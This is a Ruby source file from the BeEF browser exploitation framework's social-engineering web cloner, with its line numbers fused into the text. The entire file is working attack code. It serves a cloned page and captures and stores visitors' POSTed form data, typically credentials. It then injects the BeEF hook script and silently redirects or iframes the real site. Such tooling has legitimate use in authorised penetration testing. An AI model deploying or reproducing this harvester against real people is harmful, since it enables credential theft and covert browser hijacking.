Path: blob/master/extensions/social_engineering/web_cloner/interceptor.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Extension7module SocialEngineering8require 'sinatra/base'9class Interceptor < Sinatra::Base10configure do11set :show_exceptions, false12end1314# intercept GET15get '/' do16print_info "GET request from IP #{request.ip}"17print_info "Referer: #{request.referer}"18cloned_page = settings.cloned_page19cloned_page20end2122# intercept POST23post '/' do24print_info "POST request from IP #{request.ip}"25request.body.rewind26data = request.body.read27print_info 'Intercepted data:'28print_info data2930interceptor_db = BeEF::Core::Models::Interceptor.new(31webcloner_id: settings.db_entry.id,32post_data: data,33ip: request.ip34)35interceptor_db.save3637if settings.frameable38print_info 'Page can be framed :-) Loading original URL into iFrame...'39"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"40else41print_info 'Page can not be framed :-) Redirecting to original URL...'42redirect settings.redirect_to43end44end45end46end47end48end495051